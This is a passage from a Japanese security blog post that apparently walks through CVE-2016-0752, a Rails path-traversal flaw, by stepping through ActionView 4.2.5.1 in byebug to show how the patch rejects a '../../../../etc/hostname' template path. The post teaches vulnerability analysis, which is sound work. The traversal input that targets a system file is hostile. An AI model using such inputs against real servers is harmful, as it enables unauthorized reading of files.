70: templates = resolver.find_all(path, prefix, *args)
71: end
72: return templates unless templates.empty?
73: end
74: end
75: []
76: end
77:
78: def typecast(paths)
79: paths.map do |path|
80: case path
(byebug) var local
args = [false, {:locale=>[:en], :formats=>[:text], :variants=>[], :handlers=>[:erb, :builder, :raw, :ruby, :coffee, :jbuilder]}, #<ActionView::LookupContext:...
outside_app = false
path = hostname
prefixes = ["../../../../etc"]
self = #<ActionView::PathSet:0x00556acab4d5e0>
v4.2.5とv4.2.5.1のdiffを見てみると、やはり新しく追加された処理であることがわかります。
さらに中へ。
(byebug) b /app/bundle/gems/actionview-4.2.5.1/lib/action_view/path_set.rb:70
Successfully created breakpoint with id 2
(byebug) c
Stopped by breakpoint 2 at /app/bundle/gems/actionview-4.2.5.1/lib/action_view/path_set.rb:70
[65, 74] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/path_set.rb
65: prefixes.each do |prefix|
66: paths.each do |resolver|
67: if outside_app
68: templates = resolver.find_all_anywhere(path, prefix, *args)
69: else
=> 70: templates = resolver.find_all(path, prefix, *args)
71: end
72: return templates unless templates.empty?
73: end
74: end
(byebug) s
[110, 119] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb
110: @cache.clear
111: end
112:
113: # Normalizes the arguments and passes it on to find_templates.
114: def find_all(name, prefix=nil, partial=false, details={}, key=nil, locals=[])
=> 115: cached(key, [name, prefix, partial], details, locals) do
116: find_templates(name, prefix, partial, details, false)
117: end
118: end
119:
(byebug) b /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb:116
Successfully created breakpoint with id 3
(byebug) c
Stopped by breakpoint 3 at /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb:116
[111, 120] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb
111: end
112:
113: # Normalizes the arguments and passes it on to find_templates.
114: def find_all(name, prefix=nil, partial=false, details={}, key=nil, locals=[])
115: cached(key, [name, prefix, partial], details, locals) do
=> 116: find_templates(name, prefix, partial, details, false)
117: end
118: end
119:
120: def find_all_anywhere(name, prefix, partial=false, details={}, key=nil, locals=[])
(byebug) s
[179, 188] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb
179: end
180:
181: private
182:
183: def find_templates(name, prefix, partial, details, outside_app_allowed = false)
=> 184: path = Path.build(name, prefix, partial)
185: query(path, details, details[:formats], outside_app_allowed)
186: end
187:
188: def query(path, details, formats, outside_app_allowed)
(byebug) n
[180, 189] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb
180:
181: private
182:
183: def find_templates(name, prefix, partial, details, outside_app_allowed = false)
184: path = Path.build(name, prefix, partial)
=> 185: query(path, details, details[:formats], outside_app_allowed)
186: end
187:
188: def query(path, details, formats, outside_app_allowed)
189: query = build_query(path, details)
(byebug) s
[184, 193] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb
184: path = Path.build(name, prefix, partial)
185: query(path, details, details[:formats], outside_app_allowed)
186: end
187:
188: def query(path, details, formats, outside_app_allowed)
=> 189: query = build_query(path, details)
190:
191: template_paths = find_template_paths query
192: template_paths = reject_files_external_to_app(template_paths) unless outside_app_allowed
193:
いかにもパストラバーサルをブロックしそうなメソッドが見えてきました。
(byebug) var local
details = {:locale=>[:en], :formats=>[:text], :variants=>[], :handlers=>[:erb, :builder, :raw, :ruby, :coffee, :jbuilder]}
formats = [:text]
outside_app_allowed = false
path = ../../../../etc/hostname
query = nil
self = /app/CVE-2016-0752-App/app/views
template_paths = nil
(byebug) l 188-210
[188, 210] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb
188: def query(path, details, formats, outside_app_allowed)
=> 189: query = build_query(path, details)
190:
191: template_paths = find_template_paths query
192: template_paths = reject_files_external_to_app(template_paths) unless outside_app_allowed
193:
194: template_paths.map { |template|
195: handler, format, variant = extract_handler_and_format_and_variant(template, formats)
196: contents = File.binread(template)
197:
198: Template.new(contents, File.expand_path(template), handler,
199: :virtual_path => path.virtual,
200: :format => format,
201: :variant => variant,
202: :updated_at => mtime(template)
203: )
204: }
205: end
206:
207: def reject_files_external_to_app(files)
208: files.reject { |filename| !inside_path?(@path, filename) }
209: end
210:
(byebug) n
[186, 195] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb
186: end
187:
188: def query(path, details, formats, outside_app_allowed)
189: query = build_query(path, details)
190:
=> 191: template_paths = find_template_paths query
192: template_paths = reject_files_external_to_app(template_paths) unless outside_app_allowed
193:
194: template_paths.map { |template|
195: handler, format, variant = extract_handler_and_format_and_variant(template, formats)
(byebug)
[187, 196] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb
187:
188: def query(path, details, formats, outside_app_allowed)
189: query = build_query(path, details)
190:
191: template_paths = find_template_paths query
=> 192: template_paths = reject_files_external_to_app(template_paths) unless outside_app_allowed
193:
194: template_paths.map { |template|
195: handler, format, variant = extract_handler_and_format_and_variant(template, formats)
196: contents = File.binread(template)
(byebug) template_paths
["/app/CVE-2016-0752-App/app/views/../../../../etc/hostname"]
(byebug) n
[189, 198] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb
189: query = build_query(path, details)
190:
191: template_paths = find_template_paths query
192: template_paths = reject_files_external_to_app(template_paths) unless outside_app_allowed
193:
=> 194: template_paths.map { |template|
195: handler, format, variant = extract_handler_and_format_and_variant(template, formats)
196: contents = File.binread(template)
197:
198: Template.new(contents, File.expand_path(template), handler,
(byebug) template_paths
[]
レンダリング対象となるテンプレートファイルが見つからなかったことにされてしまいました。
あともう少しです。アプリケーションを再起動して、今度は reject_files_external_to_app
をデバッグします。
(byebug) b /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb:208
Successfully created breakpoint with id 1
(byebug) c
Stopped by breakpoint 1 at /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb:208
[203, 212] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb
203: )
204: }
205: end
206:
207: def reject_files_external_to_app(files)
=> 208: files.reject { |filename| !inside_path?(@path, filename) }
209: end
210:
211: if RUBY_VERSION >= '2.2.0'
212: def find_template_paths(query)
(byebug) s
[203, 212] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb
203: )
204: }
205: end
206:
207: def reject_files_external_to_app(files)
=> 208: files.reject { |filename| !inside_path?(@path, filename) }
209: end
210:
211: if RUBY_VERSION >= '2.2.0'
212: def find_template_paths(query)
(byebug)
[227, 236] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb
227: }
228: end
229: end
230:
231: def inside_path?(path, filename)
=> 232: filename = File.expand_path(filename)
233: path = File.join(path, '')
234: filename.start_with?(path)
235: end
236:
(byebug) var local
filename = /app/CVE-2016-0752-App/app/views/../../../../etc/hostname
path = /app/CVE-2016-0752-App/app/views
self = /app/CVE-2016-0752-App/app/views
(byebug) n
[228, 237] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb
228: end
229: end
230:
231: def inside_path?(path, filename)
232: filename = File.expand_path(filename)
=> 233: path = File.join(path, '')
234: filename.start_with?(path)
235: end
236:
237: # Helper for building query glob string based on resolver's pattern.
(byebug) filename
"/etc/hostname"
(byebug) n
[229, 238] in /app/bundle/gems/actionview-4.2.5.1/lib/action_view/template/resolver.rb
229: end
230:
231: def inside_path?(path, filename)
232: filename = File.expand_path(filename)
233: path = File.join(path, '')
=> 234: filename.start_with?(path)
235: end
236:
237: # Helper for building query glob string based on resolver's pattern.
238: def build_query(path, details)
(byebug) path
"/app/CVE-2016-0752-App/app/views/"
(byebug) filename.start_with?(path)
false
探索して見つかったテンプレートファイルの候補全てに対して、絶対パスをチェックしていますね。
Railsアプリケーションのルートディレクトリ(/app/CVE-2016-0752-App/)の、さらにViewに関するソースが格納されるディレクトリ(app/views)に限定されています。
確認終了?
記事はここまでで終了とします。
が、まだ見ていないところは多々ありますので是非手を動かして確認してみて下さい。
outside_app
フラグが true になるケースは存在しないか- チェック処理がバイパスされるケースは存在しないか
- コールスタックを上がっていくと( byebug の up コマンド)、気になる分岐があったりします
19: def render(context, options)
=> 20: if options.key?(:partial)
21: render_partial(context, options)
22: else
23: render_template(context, options)
24: end
- 類似の攻撃経路が存在しないか
- v4.2.5.1にはRuby on Rails 脆弱性解説 - CVE-2016-2098で紹介した攻撃経路( View の render )が存在
- なぜ View の render だと攻撃が成功するのか、同じ手法でできるので確認してみましょう
- 4.2.5と4.2.5.1のdiffでまだ見てない箇所
おわりに
最近のWebアプリケーションフレームワークは巨大で設計思想も難しく、セキュリティエンジニア(テストエンジニア)には取っ付き難いものがあります。
しかしこうして実際に手を動かしながら動作を確認してみれば、何となく理解できる気になって来た!、と思って頂ければ幸いです。
今回は検証環境に Docker を使用してみました。
普段は rvm を使って環境を分けていますが、数が増えてくると環境を混ぜてしまったり、どのアプリがどの環境だったかわからなくなってしまったりしていたので、 Docker への移行を進めています。
検証作業が終わった後は docker commit
で検証環境をそのまま保存し、 docker push
してDockerイメージを共有するまでの流れを書きたかったのですが、本稿のようにdocker の volume オプションを使うとマウントしたボリュームがDockerイメージに保存できません。
社内の Docker レジストリ(GitLab)を使って検証環境をそのまま保存・共有することを考えていて、よい解決策が見つかったら、おまけ記事を書くかもしれません。